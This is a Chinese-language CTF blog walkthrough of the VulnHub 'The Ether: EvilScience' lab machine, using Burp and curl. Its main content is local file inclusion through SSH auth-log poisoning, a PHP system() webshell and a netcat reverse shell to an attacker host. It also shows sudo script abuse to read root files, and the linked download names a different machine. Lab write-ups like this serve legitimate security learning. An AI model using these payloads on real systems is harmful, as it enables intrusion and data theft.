VulnHub-The Ether: EvilScience (v1.0.1)渗透学习

VulnHub-The Ether: EvilScience (v1.0.1)渗透学习

前言

靶机地址:https://download.vulnhub.com/lazysysadmin/Lazysysadmin.zip
靶机难度:中级(CTF)
靶机发布日期:2017 年 10 月 30 日
靶机描述:最近,我一直喜欢为安全社区创造黑客挑战。这一新挑战囊括了一家名为 The Ether 的公司,该公司宣布了一种显着改变人类福利的灵丹妙药。由于他们正在开发的产品的性质,CDC 对这个群体产生了怀疑。
目标:得到root权限&找到flag.txt
作者:我是小小白
时间:2021-07-08

请注意:
本博客所有文章,仅供研究测试及学习IT技术之用,严禁传播和用于非法用途,否则所产生的一切后果由观看文章、视频的人自行承担;本博客网以及发帖人不承担任何责任!

信息收集

主机发现

我们在VM中需要确定攻击目标的IP地址,可以使用netdiscover/nmap来获取目标主机的IP地址:

nmap -sP 192.168.1.0/24 -T5
参数解读:
	-sP : 用ping扫描判断主机是否存活,只有主机存活,nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping
	-T5: 指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况较好的情况下推荐使用T5

在这里插入图片描述

端口扫描

我们已经找到了目标计算机IP地址:192.168.1.13
第一步是找出目标计算机上可用的开放端口和一些服务。因此我在目标计算机上启动了nmap全端口T5速度扫描:

nmap -sS -sV -sC -O -T5  -Pn -p- 192.168.1.13
参数解读:
	-A :启用-A选项之后,Nmap将检测目标主机的下述信息
        服务版本识别(-sV);
        操作系统识别(-O);
        脚本扫描(-sC);
        Traceroute(–traceroute)
	-sS/sT/sA/sW/sM:指定使用 TCP SYN/Connect()/ACK/Window/Maimon scans的方式来对目标主机进行扫描
	-sV: 指定让Nmap进行服务版本扫描
	-p-:进行全端口扫描
	-Pn:禁用主机检测(-Pn)

在这里插入图片描述

要进一步枚举服务,也可以使用nc连接到每个端口上。例如如下枚举 ssh和http服务的方式:

nc -nv 192.168.1.13 22

nc -nv 192.168.1.13 80

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

目录枚举

gobuster dir -u http://192.168.1.13/  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 --random-agent 

在这里插入图片描述

指纹识别

在这里插入图片描述
在这里插入图片描述

漏洞发现

Nikto 扫描

nikto :开源的WEB扫描评估软件,可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等

nikto -h 192.168.1.13

在这里插入图片描述

本地文件包含漏洞利用

发现该网站存在这么一个url,疑似存在LFI(本地文件包含)漏洞;

http://192.168.1.13/index.php?file=

尝试了一下常用的路径发现可以读取到ssh登录日志,具体路径为:

http://192.168.1.13/index.php?file=/var/log/auth.log

在这里插入图片描述
这里使用burpsuite中的intruder进行尝试,进行本地文件包含fuzz测试;发现有结果中有几条返回的数据包跟其他的不同,尝试访问;
在这里插入图片描述

/var/log/lastlog 能访问,但是没有什么有用的数据

在这里插入图片描述

/var/run/utmp 能访问,但是也没有发现有用的数据

在这里插入图片描述

查看/var/log/auth.log时发现重定向返回到了首页,说明应该隐藏了什么东西,把请求数据包发送到repeater重放,发现返回了SSH登录日志;

在这里插入图片描述
注:以下操作之前最好是先保存快照,如果长时间没有成功注入并执行任意命令,可以通过恢复快照重新操作。

SSH日志Getshell

auth.log文件是我们尝试连接服务器时生成日志。那么就可以利用这个功能,发送恶意PHP代码将恶意代码作为新日志自动添加到auth.log文件中。先看一下phpinfo是否能成功利用

ssh '<?php phpinfo();?>'@192.168.1.13

在这里插入图片描述
在这里插入图片描述
既然ssh的操作可以被记录到日志中,那么可以尝试是否能够通过日志注入+文件包含来执行任意命令尝试注入一段php代码:

1、先写入php一句话木马:
	ssh '<?php system($_GET[cmd]);?>'@192.168.1.13(不能用双引号,并且?php中间不能有空格)

2、执行webshell
	curl -is 'http://192.168.1.13/index.php?file=/var/log/auth.log&cmd=ls'

在这里插入图片描述
在这里插入图片描述

既然可以执行任意命令,我们尝试一下反弹一个持久化的shell,NC不能使用-e选项时使用以下反弹语句:

curl -is 'http://192.168.1.13/index.php?file=/var/log/auth.log&cmd=mknod+backpipe+p+%26%26+nc+192.168.1.7+4444+0%3Cbackpipe+%7C+%2Fbin%2Fbash+1%3Ebackpipe'
注意:这里需要进行下url编码,不然会报错;

在这里插入图片描述
在这里插入图片描述

使用python返回交互式shell:
	python -c 'import pty; pty.spawn("/bin/sh")'

在这里插入图片描述

提权

查看当前内核,操作系统,设备信息;

版本是ubuntu 16.0.4的,但是内核版本比较高,没有发现可利用的漏洞;

在这里插入图片描述
在这里插入图片描述

使用sudo -l查看一下权限,发现py文件可以以root权限免密执行

在这里插入图片描述

查看是否存在可提权SUID

在这里插入图片描述

1、使用sudo权限不需要密码执行xxxlogauditorxxx.py,查看py文件的内容发现里边有很大一部分内容使用了base64编码;将xxxlogauditorxxx.py拷贝网网站目录下,使用wget下载查看py文件的内容;

在这里插入图片描述

2、cp xxxlogauditorxxx.py /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py

3、wget http://192.168.1.13/?file=xxxlogauditorxxx.py

在这里插入图片描述
尝试运行该脚本,运行情况如下图:
在这里插入图片描述

在这个python脚本中,我们可以执行命令,当我们运行/var/log/auth.log | id命令的时候,我们以root身份来执行;
在这里插入图片描述
可以把flag.png文件拷贝到网站根目录下:

/var/log/auth.log | cp /root/flag.png /var/www/html/theEther.com/public_html/flag.png

在这里插入图片描述

下载文件到本地:
	wget http://192.168.1.13/?file=flag.png

在这里插入图片描述
在这里插入图片描述
打开图片发现有很多乱码和一部分使用base64编码的内容;
在这里插入图片描述

base64解码后:

flag: october 1, 2017.
We have or first batch of volunteers for the genome project. The group looks promising, we have high hopes for this!

October 3, 2017.
The first human test was conducted. Our surgeons have injected a female subject with the first strain of a benign virus. No reactions at this time from this patient.

October 3, 2017.
Something has gone wrong. After a few hours of injection, the human specimen appears symptomatic, exhibiting dementia, hallucinations, sweating, foaming of the mouth, and rapid growth of canine teeth and nails.

October 4, 2017.
Observing other candidates react to the injections. The ether seems to work for some but not for others. Keeping close observation on female specimen on October 3rd.

October 7, 2017.
The first flatline of the series occurred. The female subject passed. After decreasing, muscle contractions and life-like behaviors are still visible. This is impossible! Specimen has been moved to a containment quarantine for further evaluation.

October 8, 2017.
Other candidates are beginning to exhibit similar symptoms and patterns as female specimen. Planning to move them to quarantine as well.

October 10, 2017.
Isolated and exposed subject are dead, cold, moving, gnarling, and attracted to flesh and/or blood. Cannibalistic-like behaviour detected. An antidote/vaccine has been proposed.

October 11, 2017.
Hundreds of people have been burned and buried due to the side effects of the ether. The building will be burned along with the experiments conducted to cover up the story.

October 13, 2017.
We have decided to stop conducting these experiments due to the lack of antidote or ether. The main reason being the numerous death due to the subjects displaying extreme reactions the the engineered virus. No public announcement has been declared. The CDC has been suspicious of our testings and are considering martial laws in the event of an outbreak to the general population.

--Document scheduled to be shredded on October 15th after PSA.

成功获取到了Flag;

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值